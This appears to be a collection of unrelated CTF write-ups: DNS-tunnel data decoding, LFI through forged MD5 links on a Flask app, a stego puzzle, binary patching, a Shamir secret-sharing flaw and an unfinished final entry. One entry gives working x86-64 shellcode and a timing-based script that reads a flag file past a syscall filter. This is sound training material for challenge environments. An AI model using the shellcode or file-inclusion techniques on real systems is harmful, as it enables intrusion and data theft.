I noticed that the IP addresses were probably bogus or auto-generated because the output contains invalid IP addresses. After try-and-error, I concatenated all the queries together, since all queries are the same length except for the last one which indicated that it might be the remainder of some file or text.
```koffiedrinker$ perl -ne 'chomp;s/^Query: (.+)$/$1/;print if ! /Answer: /} END {print "\n"' for100/parsed_output.txt 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```
Since base64 decoding failed, I checked if the output did not contain any of the following characters which would indicate base58:
> Compared to Base64, the following similar-looking letters are omitted: 0 (zero), O (capital o), I (capital i) and l (lower case L) as well as the non-alphanumeric characters + (plus) and / (slash).Source: [Wikipedia](https://en.wikipedia.org/wiki/Base58)
And what do you know, it doesn't. A quick google leads us to an [online base58 decoder](https://www.browserling.com/tools/base58-decode) and the text decodes as the hacker manifesto with the flag:```==Phrack Inc.==
Volume One, Issue 7, Phile 3 of 10
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=The following was written shortly after my arrest...
\/\The Conscience of a Hacker/\/
by
+++The Mentor+++
Written on January 8, 1986=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Another one got caught today, it's all over the papers. "TeenagerArrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike.
But did you, in your three-piece psychology and 1950's technobrain,ever take a look behind the eyes of the hacker? Did you ever wonder whatmade him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world... Mine is a world that begins with school... I'm smarter than most ofthe other kids, this crap they teach us bores me... Damn underachiever. They're all alike.
I'm in junior high or high school. I've listened to teachers explainfor the fifteenth time how to reduce a fraction. I understand it. "No, Ms.Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike.
I made a discovery today. I found a computer. Wait a second, this iscool. It does what I want it to. If it makes a mistake, it's because Iscrewed it up. Not because it doesn't like me... Or feels threatened by me... Or thinks I'm a smart ass... Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.
And then it happened... a door opened to a world... rushing throughthe phone line like heroin through an addict's veins, an electronic pulse issent out, a refuge from the day-to-day incompetencies is sought... a board isfound. "This is it... this is where I belong..." I know everyone here... even if I've never met them, never talked tothem, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike...
You bet your ass we're all alike... we've been spoon-fed baby food atschool when we hungered for steak... the bits of meat that you did let slipthrough were pre-chewed and tasteless. We've been dominated by sadists, orignored by the apathetic. The few that had something to teach found us will-ing pupils, but those few are like drops of water in the desert.
This is our world now... the world of the electron and the switch, thebeauty of the baud. We make use of a service already existing without payingfor what could be dirt-cheap if it wasn't run by profiteering gluttons, andyou call us criminals. We explore... and you call us criminals. We seekafter knowledge... and you call us criminals. We exist without skin color,without nationality, without religious bias... and you call us criminals.You build atomic bombs, you wage wars, you murder, cheat, and lie to usand try to make us believe it's for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime isthat of judging people by what they say and think, not what they look like.My crime is that of outsmarting you, something that you will never forgive mefor.
I am a hacker, and this is my manifesto. You may stop this individual,but you can't stop us all... after all, we're all alike.
+++The Mentor+++
TMCTF{DNSTunnelExfil}
```
Flag: TMCTF{DNSTunnelExfil} |
Writeup in french of the OCHE challenge in Secuinside 2017 qualfs CTF. Hope you'll enjoy it ! :)
https://team-prime.fr/2017/07/02/secuinside-2017-ohce/ |
MD5 in the URL is generated using `timestamp+filename`.
We can generate valid MD5 checksums and exploit server-side code for Local FIle Inlcusion.
The application runs on Flask, with **Python 3.5** and gunicorn.
In Python 3.5 server files are "cached" inside the `__pycache__` directory using `.cpython-35.pyc` extension.
We first retrieve `../__pycache__/__init__.cpython-35.pyc` and decompile it using `uncompyle6`.
The decompiled output can be seen here: https://gist.github.com/rkmylo/a6479fbb5ec8a434810b89c9ccf5924f.
The important line is: `from .conf import *`
We finally retrieve `../__pycache__/conf.cpython-35.pyc` and get the flag.
The flag is: `RCTF{Stop_reInventing_bROken_wheel}` |
Diffie-Hellman II======**Category: Steganography****Points: 275**
`II. part is STEGO.If you already solved the I. part.Everything is clear.Just analyze the file.`
This part is a continuation of Diffie Hellman I. The first part was basic bruteforce.
Here's the script for that:
```pythong = 10q = 1357for i in range(1000): for j in range(1000): if pow(g,i,q)==419 and pow(g,j,q)==34 and pow(g,i*j,q)==33: print "a:"+str(i)+" b:"+str(j)```
`a:521 b:619`
As the second part was stego, I decided to run `strings` on the image file.
At the bottom, there was a clue: `Hmm.. maybe the other part is stego``Key: abababababab`
Since they gave a key, I was pretty sure that I had to use steghide with the given key.
So I replaced the **a**s with 521 and **b**s with 619 in the key and tried it as the password. And it worked!
I got a text file with a tumblr link: `http://ababababababqbababababababab.tumblr.com/`
On opening that link, we were asked for a password. On looking at the url, we saw that it was a different sequence of **a**,**b** and **q**. So I substituted the corresponding values in the url, and used it as a password. That was it, I was given the flag!
```Congratulations!
Here is the flag: YUBITSEC{Y0U_MUST_B3_1ZZ3TT1N}```
|
# WriteupThe challenge gives the mute executable and that's all.Doing a reverse engineering with IDA, we can note two things:
1- There is a function dropSyscalls which drops every syscalls, except 0x0, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc and 0x3b.This means that the syscall 0x1 (write) is forbiden and we cannot write to stdout.
2- The executable just reads some bytes from stdin (lines 15-20) and executes it (line 21).
After noticing that, the first thing that came to my mind was to send a shellcode which reads the flag (I assumed it wasin /home/mute/flag) and does a time-based blind attack. The code tries to guess a character position of the flag. If itis correct, them takes some time (looping) before exiting. If it is incorrect, it just exits imediately. Actually, the exitsyscall is forbidden, but it does not metter for us because we are only interested in the timing.
```assemblysection .text global _start
_start:;/home/mute/flagmov r8, 0x67616c662f6574push r8mov r8, 0x756d2f656d6f682fpush r8
; syscall open filemov rdi, rsp ; pop path valuexor rax, raxadd al, 2xor rsi, rsi ; set O_RDONLY flagsyscall ; syscall read filesub sp, 0xffflea rsi, [rsp]mov rdi, raxxor rdx, rdxmov dx, 0xfff; size to readxor rax, raxsyscall cmp byte [rsi + 1], 0x69jne exit
;guessed correct? sleepmov ecx,0loop1:
inc ecxcmp ecx, 0xffffffffjne loop1
mov ecx,0loop2:
inc ecxcmp ecx, 0xffffffffjne loop2
; syscall exitexit:xor rax, raxadd al, 60syscall```
And the objdump:
```$ nasm -f elf64 shell.asm ; ld -o shell shell.o; objdump -d shell
shell: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>: 400080: 49 b8 74 65 2f 66 6c movabs $0x67616c662f6574,%r8 400087: 61 67 00 40008a: 41 50 push %r8 40008c: 49 b8 2f 68 6f 6d 65 movabs $0x756d2f656d6f682f,%r8 400093: 2f 6d 75 400096: 41 50 push %r8 400098: 48 89 e7 mov %rsp,%rdi 40009b: 48 31 c0 xor %rax,%rax 40009e: 04 02 add $0x2,%al 4000a0: 48 31 f6 xor %rsi,%rsi 4000a3: 0f 05 syscall 4000a5: 66 81 ec ff 0f sub $0xfff,%sp 4000aa: 48 8d 34 24 lea (%rsp),%rsi 4000ae: 48 89 c7 mov %rax,%rdi 4000b1: 48 31 d2 xor %rdx,%rdx 4000b4: 66 ba ff 0f mov $0xfff,%dx 4000b8: 48 31 c0 xor %rax,%rax 4000bb: 0f 05 syscall 4000bd: 80 7e 01 69 cmpb $0x69,0x1(%rsi) 4000c1: 75 18 jne 4000db <exit> 4000c3: b9 00 00 00 00 mov $0x0,%ecx
00000000004000c8 <loop1>: 4000c8: ff c1 inc %ecx 4000ca: 83 f9 ff cmp $0xffffffff,%ecx 4000cd: 75 f9 jne 4000c8 <loop1> 4000cf: b9 00 00 00 00 mov $0x0,%ecx
00000000004000d4 <loop2>: 4000d4: ff c1 inc %ecx 4000d6: 83 f9 ff cmp $0xffffffff,%ecx 4000d9: 75 f9 jne 4000d4 <loop2>
00000000004000db <exit>: 4000db: 48 31 c0 xor %rax,%rax 4000de: 04 3c add $0x3c,%al 4000e0: 0f 05 syscall```
Taking the bytes of this shellcode, I made a python script to do this blind attack. The script sends the same bytes of the shellcode above, but replacing the corresponding guessing position and character (*cmp byte [rsi + 1], 0x69*).
```pythonimport stringfrom datetime import datetimeimport os
shell = "\\x49\\xb8\\x74\\x65\\x2f\\x66\\x6c\\x61\\x67\\x00\\x41\\x50\\x49\\xb8\\x2f\\x68\\x6f\\x6d\\x65\\x2f\\x6d\\x75\\x41\\x50\\x48\\x89\\xe7\\x48\\x31\\xc0\\x04\\x02\\x48\\x31\\xf6\\x0f\\x05\\x66\\x81\\xec\\xff\\x0f\\x48\\x8d\\x34\\x24\\x48\\x89\\xc7\\x48\\x31\\xd2\\x66\\xba\\xff\\x0f\\x48\\x31\\xc0\\x0f\\x05\\x80\\x7e\\x01\\x68\\x75\\x18\\xb9\\x00\\x00\\x00\\x00\\xff\\xc1\\x83\\xf9\\xff\\x75\\xf9\\xb9\\x00\\x00\\x00\\x00\\xff\\xc1\\x83\\xf9\\xff\\x75\\xf9\\x48\\x31\\xc0\\x04\\x3c\\x0f\\x05"
flag = ""i = 1
while True: for c in string.printable: try: current_shell = shell.replace("\\x01\\x68", "\\x" + chr(i).encode("hex") + "\\x" + c.encode("hex")) start = datetime.now() os.popen("python -c 'print(\"" + current_shell + "\" + \"\\x00\"*4009)' | ./mute") # nc mute_9c1e11b344369be9b6ae0caeec20feb8.quals.shallweplayaga.me 443 total = (datetime.now() - start).seconds if total >= 2: i += 1 flag += c print("FOUND!!!!!") print(flag) except: pass```
Locally it worked fine! Now it was time to try remotely. However, it was missing just about 10 minutes for the end of the competition.Although I did not submit the flag in time, I consider that I solved this challenge. I took a look at this challenge just 2 hours before the end of the competition and when I was with about half of the flag, the time went over and the server came down :(**The flag is: I tXXXXXXXXXat I'd do was, I'd pXXXXXX**
where **X** are the missing characters. It may have some wrong characters because of wrong estimation of time, but nothing that a double check could not solve.
|
If we choose (3) and provide an empty string, the program deletes the current status. However this is different from (2), which stops us after a few deletes. This method of deleting status allows us to delete all the way through the list and in the end we get the flag. |
# BabyMISC
## The key to the flag
Connect to the server and input this:
```TjBfbTRuX2M0bDFfYWc0aW5fWTNzdDNyZDR5OigA===aGVhZCBmbGEq
```
-----
### [Original write-up with **the detailed solution**(PDF file)](https://github.com/wlzla000/SolvingSecurityProblems/blob/master/CODEGATE/2017/Pre-qualification/My%20solution%20for%20CODEGATE%202017%20Junior%20CTF%20pre-qualification%20round(BabyMISC%20write-up).pdf) |
Javascript XSS filter bypass using HTML imports and utf-16be encoding
[https://gist.github.com/itsZN/c26a6a097b1186bc7629555d58255abf](https://gist.github.com/itsZN/c26a6a097b1186bc7629555d58255abf) |
We are given a Linux application, that asks for input and exits:
```sh$ ./easy_re
OMG!!!! I forgot kid's idReady to exit AAAA```
After reversing the application in ```Snowman``` we see the rough outline:
```c...pipe(esp1 + 6);eax3 = fork(esp1 + 6);esp4 = reinterpret_cast<int32_t*>(esp1 - 1 + 1 - 1 + 1);if (!eax3) { puts("\nOMG!!!! I forgot kid's id", v5, v6); write(v7, "69800876143568214356928753", 29); puts("Ready to exit ", "69800876143568214356928753", 29); exit(0, "69800876143568214356928753", 29); esp4 = esp4 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1;}read(v8, reinterpret_cast<uint32_t>(esp4) + 46, 29);esp9 = reinterpret_cast<void*>(esp4 - 1 + 1);__isoc99_scanf("%d", reinterpret_cast<uint32_t>(esp9) + 36, 29);esp10 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp9) - 4 + 4);if (v11 == eax3) { eax12 = g80485f7; if ((eax12 & 0xff) == 0xcc) { puts(":D", reinterpret_cast<uint32_t>(esp9) + 36, 29); exit(1, reinterpret_cast<uint32_t>(esp9) + 36, 29); esp10 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp10) - 4 + 4 - 4 + 4); } printf("\nYou got the key\n ", reinterpret_cast<uint32_t>(esp9) + 36, 29); lol(reinterpret_cast<uint32_t>(esp10) - 4 + 4 + 46, reinterpret_cast<uint32_t>(esp9) + 36, 29);}...```
The above code:
* Opens a pipe for communication* Forks* The parent application writes to pipe and exits* The forked child reads from the pipe and reads a number from keyboard (it expects the entered value to match the PID of the child)* Forked child then does some work in ```lol``` function:
```cvoid lol(void* a1, void* a2, int32_t a3) { void* v4; int32_t v5; int32_t v6;
if (1) { printf("flag_is_not_here", v4, v5); } else { printf("%s", reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 19, v6); } return;}```
Notice that there is a dead branch in this method that seems to output something. Let's go to the disassembled code (```objdump -d -M intel ./easy_re```):
```080485f4 <lol>: 80485f4: 55 push ebp 80485f5: 89 e5 mov ebp,esp 80485f7: 83 ec 28 sub esp,0x28 80485fa: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] # some interesting calculations happening here 80485fd: 83 c0 01 add eax,0x1 8048600: 0f b6 00 movzx eax,BYTE PTR [eax] 8048603: 89 c2 mov edx,eax 8048605: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048608: 83 c0 01 add eax,0x1 804860b: 0f b6 00 movzx eax,BYTE PTR [eax] 804860e: 8d 04 02 lea eax,[edx+eax*1] 8048611: 88 45 ed mov BYTE PTR [ebp-0x13],al 8048614: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048617: 83 c0 04 add eax,0x4 804861a: 0f b6 00 movzx eax,BYTE PTR [eax] 804861d: 89 c2 mov edx,eax 804861f: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048622: 83 c0 05 add eax,0x5 8048625: 0f b6 00 movzx eax,BYTE PTR [eax] 8048628: 8d 04 02 lea eax,[edx+eax*1] 804862b: 88 45 ee mov BYTE PTR [ebp-0x12],al 804862e: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048631: 83 c0 08 add eax,0x8 8048634: 0f b6 00 movzx eax,BYTE PTR [eax] 8048637: 89 c2 mov edx,eax 8048639: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804863c: 83 c0 09 add eax,0x9 804863f: 0f b6 00 movzx eax,BYTE PTR [eax] 8048642: 8d 04 02 lea eax,[edx+eax*1] 8048645: 88 45 ef mov BYTE PTR [ebp-0x11],al 8048648: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804864b: 83 c0 0c add eax,0xc 804864e: 0f b6 00 movzx eax,BYTE PTR [eax] 8048651: 89 c2 mov edx,eax 8048653: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048656: 83 c0 0c add eax,0xc 8048659: 0f b6 00 movzx eax,BYTE PTR [eax] 804865c: 8d 04 02 lea eax,[edx+eax*1] 804865f: 88 45 f0 mov BYTE PTR [ebp-0x10],al 8048662: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048665: 83 c0 12 add eax,0x12 8048668: 0f b6 00 movzx eax,BYTE PTR [eax] 804866b: 89 c2 mov edx,eax 804866d: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048670: 83 c0 11 add eax,0x11 8048673: 0f b6 00 movzx eax,BYTE PTR [eax] 8048676: 8d 04 02 lea eax,[edx+eax*1] 8048679: 88 45 f1 mov BYTE PTR [ebp-0xf],al 804867c: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804867f: 83 c0 0a add eax,0xa 8048682: 0f b6 00 movzx eax,BYTE PTR [eax] 8048685: 89 c2 mov edx,eax 8048687: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804868a: 83 c0 15 add eax,0x15 804868d: 0f b6 00 movzx eax,BYTE PTR [eax] 8048690: 8d 04 02 lea eax,[edx+eax*1] 8048693: 88 45 f2 mov BYTE PTR [ebp-0xe],al 8048696: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048699: 83 c0 09 add eax,0x9 804869c: 0f b6 00 movzx eax,BYTE PTR [eax] 804869f: 89 c2 mov edx,eax 80486a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80486a4: 83 c0 19 add eax,0x19 80486a7: 0f b6 00 movzx eax,BYTE PTR [eax] 80486aa: 8d 04 02 lea eax,[edx+eax*1] 80486ad: 88 45 f3 mov BYTE PTR [ebp-0xd],al 80486b0: c7 45 f4 00 00 00 00 mov DWORD PTR [ebp-0xc],0x0 # we set the value to 0 80486b7: 83 7d f4 01 cmp DWORD PTR [ebp-0xc],0x1 # and then compare it to 1 80486bb: 75 16 jne 80486d3 <lol+0xdf> 80486bd: b8 c0 88 04 08 mov eax,0x80488c0 # this branch will never be taken 80486c2: 8d 55 ed lea edx,[ebp-0x13] # and yet it's the one that prints 80486c5: 89 54 24 04 mov DWORD PTR [esp+0x4],edx # the value built above 80486c9: 89 04 24 mov DWORD PTR [esp],eax 80486cc: e8 ff fd ff ff call 80484d0 <printf@plt> 80486d1: eb 0d jmp 80486e0 <lol+0xec> 80486d3: b8 c3 88 04 08 mov eax,0x80488c3 80486d8: 89 04 24 mov DWORD PTR [esp],eax 80486db: e8 f0 fd ff ff call 80484d0 <printf@plt> 80486e0: c9 leave 80486e1: c3 ret ```
As it turns out the decompiled C code does not reveal everything, there is a bunch of calculations occurring in that function, and yet the calculated value is abandoned and ```flag_is_not_here``` is printed instead.
To reveal that value let's patch out the executable and replace ```cmp DWORD PTR [ebp-0xc],0x1``` with ```cmp DWORD PTR [ebp-0xc],0x0```. This can be done in any binary editor. Essentially we are replacing ```83 7d f4 01``` with ```83 7d f4 00```.
Once the binary is patched we can run it. To figure out the PID we can first run the application, and while it's waiting for input run ```ps``` in a separate shell:
```sh$ ps -ef | grep easyroot 1695 1529 0 15:54 pts/0 00:00:00 ./easy_re_patchedroot 1696 1695 0 15:54 pts/0 00:00:00 [easy_re_patched] <defunct>root 1702 1536 0 15:55 pts/1 00:00:00 grep easy```
When we enter the PID we get the flag:
```sh$ ./easy_re_patched
OMG!!!! I forgot kid's idReady to exit 1696
You got the key rhelheg```
The flag is ```RCTF{rhelheg}```. |
After spending a lot of time looking into the functions and algorithms, I noticed that because the string started with flag{ and the differences in the numbers matched that, we could easily use that to figure out the alphabetical parts of the strings. Figuring out the rest of the flag's string would be trivial from there. |
patch format => offset, size, old bytes, new bytes
00000000004010B0 0x1 00 01 # every tick is a hit on apple !
0000000000401697 0x3 A08601 50c300 # make the game go less quickly overtime
Then just play the game for 304 moves (you can still take apple)
flag: SECU[hack_is_the_wine_of_life._Let's_drink_it.] |
The implementation of Shamir's Secret sharing had a major flaw, where the polynomials are only calculated once and are reused for every character in the string. This revealed too much about the flag. Since we knew the first character(`'f'`), it was a lot more easier and we were able to decrypt the flag with just one part of the split.So by just using the following part we can decrypt the flag:``` "x": 3, "y": [ 183, 189, 178, 184, 204, 195, 132, 198, 196, 130, 191, 184, 176, 195, 133, 191, 181, 129, 190, 176, 130, 196, 176, 191, 129, 197, 176, 183, 198, 191, 206, 91``` ```Let the polynomials be p and flag be fSo from Shamir's secret sharing:y[i] = f[i] + x*p[0] + x*x*p[1] + x*x*x*p[2] ...Substituting some values (knowing f[0] = 'f'):183 = ord('f') + x*p[0] + x*x*p[1] ...189 = f[1] + x*p[0] + x*x*p[1] ...Now using some funky mathematics we can get f[1] = ord('l'), which seems to be correct```Now doing this quickly with a python script for all characters:```a = [183, 189, 178, 184, 204, 195, 132, 198, 196, 130, 191, 184, 176, 195, 133, 191, 181, 129, 190, 176, 130, 196, 176, 191, 129, 197, 176, 183, 198, 191, 206, 91]flag = ""for i in a: flag += chr(i-183+ord('f'))
print flag```
We get some random chars by using x = 2 split. That can be fixed by using `%255`. |
I disassembled the binary and saw that someplace its cheking the input character by character, and always the valus is in cl and once in al. So I wrote the following code to parse the assembly and get the result.
```import telnetlibimport subprocess
